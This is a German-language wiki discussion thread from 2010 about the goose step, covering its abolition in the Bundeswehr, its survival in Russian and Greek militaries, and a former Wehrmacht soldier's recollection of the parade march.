Recht hat er. Gute Nacht.--88.72.138.194 02:27, 27. Mär. 2010 (CET)
der Stechschritt wurde mW für die Deutschen verboten --188.23.66.250 07:37, 27. Mär. 2010 (CET)
Schlecht für die Kniegelenke? Könnte die Kampfkraft reduzieren ...
Okay ... AIDS (Gott), Osterfeuer (Holz), Kachelmann (Frosch, Freundin), Volksmusik (alte Frauen), Stechschritt (Geholpere) ... noch 2 Stunden, dann ist das Persönlichkeitsprofil abgeschlossen. Fest steht: männlich, zw. 24-32, keine Freundin, evtl. sogar Abitur... G! GG nil nisi bene 09:51, 27. Mär. 2010 (CET)
Ich bitte noch zu bedenken, dass der Stechschritt auch schlecht ist fürs Straßenpflaster. Außerdem ist er nicht gut für den Tourismus. Die Leute kommen zwar, um sich den Wachwechsel anzuschauen, aber wenn sich zu viele totgelacht haben, dann gibt das Reklamationen über die Reisebüros und Reiseveranstalter und dann sinken die Touristenzahlen in den Städten, in denen stechschreitend gewachwechselt wird, anstatt zu steigen. Und für die Kommunen ist der Fremdenverkehr eine wichtige Einnahmequelle! Daher entspricht mehr Stechschritt weniger Kindergärten. Und das kann doch keiner wollen. Denn weniger Kindergärten entsprechen weniger Gebärfreudigkeit. Und woher sollen dann die Soldaten kommen? Na? BerlinerSchule 10:30, 27. Mär. 2010 (CET)

@G!GG, das mit dem Abitur möchte ich bezweifeln, in etwa fehlerfrei schreibt er ja, aber das können Haupt- und Realschüler auch. Und so ab 60 gibt es noch mal so eine Phase bei fortgeschrittener Verkalkung, besonders wenn man einem Silbereisen an den Lippen hängt. Für mich bricht eine Welt zusammen, nicht nur in Ösiland gibt es solche.--91.56.197.155 13:30, 27. Mär. 2010 (CET)

Zur Aufklärung: "Grey_Geezer" liegt vollkommen korrekt - sehr erstaunlich, wie er zu solch guten Ergebnissen kommt, v.a. das Alter. Die IP ist im übrigen eine dynamische.--92.78.88.146 14:11, 27. Mär. 2010 (CET)
Ja, ich weiss ja, dass der besser ist. Bin sowieso down, weil ich bisher annahm, dass das Fernsehen am Publikumsgeschmack vorbei produziert. Aber wie wir sehen, interessieren sich sogar welche tiefgründig für diesen Schrott.--91.56.197.155 15:04, 27. Mär. 2010 (CET)
griechische Garde
Um das Thema abzuschließen; Stechschritt ist in Deutschland speziell in der Bundeswehr abgeschafft worden. Gilt als zu preußisch. Im Moskauer Frühling soll er allerdings noch zu beobachten sein. Die Nazis haben den Stechschritt in Perfektion vorgeführt und es würde da verständlicherweise bei der Bundeswehr zu gewissen Assoziationen käme. Bei Rußland ist das anders: Stechschritt gab's schon bei den Zarentruppen (wurde wohl aus einer Bewunderung für Preussen übernommen). und Knie-schonender ist der neue runde saloppe Gang allemal --91.115.183.56 22:08, 28. Mär. 2010 (CEST) Und die Griechen können den sogar mit Holz-Pantoffeln und einem Minirock ;-)
Eine Interpretation des Stechschritts, an deren Quelle ich mich leider nicht mehr erinnere ist, dass er zwar extrem lächerlich aussieht, dass sich aber trotzdem niemand zu lachen traut, was wiederum den Zuschauern die Macht der so marschierenden Armee demonstrieren soll. Gruss, --Cú Faoil RM-RH 21:41, 30. Mär. 2010 (CEST)
Ich denke, dass der Stechschritt erst in moderner Zeit als laecherlich empfunden wird. Frueher haben ihn die Leute vermutlich nicht so empfunden, sondern er galt sogar als besonders "ernsthaft" (weil diszipliniert und "zackig"). So wie auch bestimmte traditionelle Kleidungsstuecke, die man heute noch in Trachten oder Uniformen findet, fuer viele Menschen heute laecherlich aussehen, frueher aber nicht so gesehen wurden. (Odär ein bestämmter Doktus, der heute Belustigung hervorroft, fröher aber offenbar necht.) Die Zeiten aendern sich, und wenn sich Gebraeuche nicht mitaendern, koennen sie zu ungewollter Laecherlichkeit werden. Absicht steckt, denke ich, vermutlich nicht dahinter, allenfalls Traditionalismus und Blindheit: die Gefahr, dass ausgerechnet eine Armee dann doch zu clownesk wirkt und sich der Effekt umkehrt, waere doch zu riskant. --Neitram 04:57, 31. Mär. 2010 (CEST)
Fakten wären vielleicht hilfreich: Die meisten Armeen auf der Welt kennen für besondere Anlässe einen vom Normalen abweichenden, Eindruck machen sollenden Schritt. Als ich zur Wehrmacht eingezogen wurde, hieß dieser Schritt „Parademarsch“ - nicht Stechschritt - und der gerade noch ruhigen Marschtritts gehende "Verein" mußte auf das Kommando "Ach-tung!" in Parademarsch verfallen, wobei die genagelten "Knobelbecher",auf dem Pflaster wie ein einziger Schlag zu klingen hatten. Das war in der Ausbildung häufiger gefragt, später im Einsatz natürlich nicht mehr, es sei denn, man war Angehöriger eines Wachbataillons. Lächerlich wurde es jedenfalls nicht empfunden, es war eine Art Ehrenbezeigung für Staatsgäste, auch im damaligen Sinn verdiente Lebende oder Tote. Die Paradeuniform ist ein anderes Kapitel, sie leitet sich vom "bunten Rock" früherer Zeiten ab, der wiederum darin seinen Sinn hatte, daß man die eigenen und die feindlichen Truppen beim Blick vom "Feldherrnhügel" gut unterscheiden konnte, und das galt auch für die Auge in Auge kämpfenden Soldaten zu Fuß und zu Pferd. Bezeichnend ist, daß auf tschechisch der Soldat "voják" heißt, ein Wort hinter dem sich der (buntgekleidete) Bajazzo versteckt. Dies wurde auch weiter oben so erkannt.--Rotgiesser 21:55, 2. Apr. 2010 (CEST)
Kann hier jemand ein paar Verlinkungen zu Videoclips, die Stechschritt oder Parademarsch demonstrieren, einstellen, oder mir via Benutzerseite schicken? - Danke! --Robert E Lee 12:13, 4. Apr. 2010 (CEST)
So etwas gibt es zum Beispiel in Wochenschauaufnahmen aus der Zeit des Hitler- Regimes. Vor ihm, auf der Tribüne stehend, wurde für die paradierende Fußtruppe Parademarsch befohlen und ausgeführt. Soldaten auf Fahrzeugen paradierten in "Habt Acht - Stellung". Guido Knopps Sendungen bieten auch Beispiele.--Rotgiesser 14:57, 4. Apr. 2010 (CEST)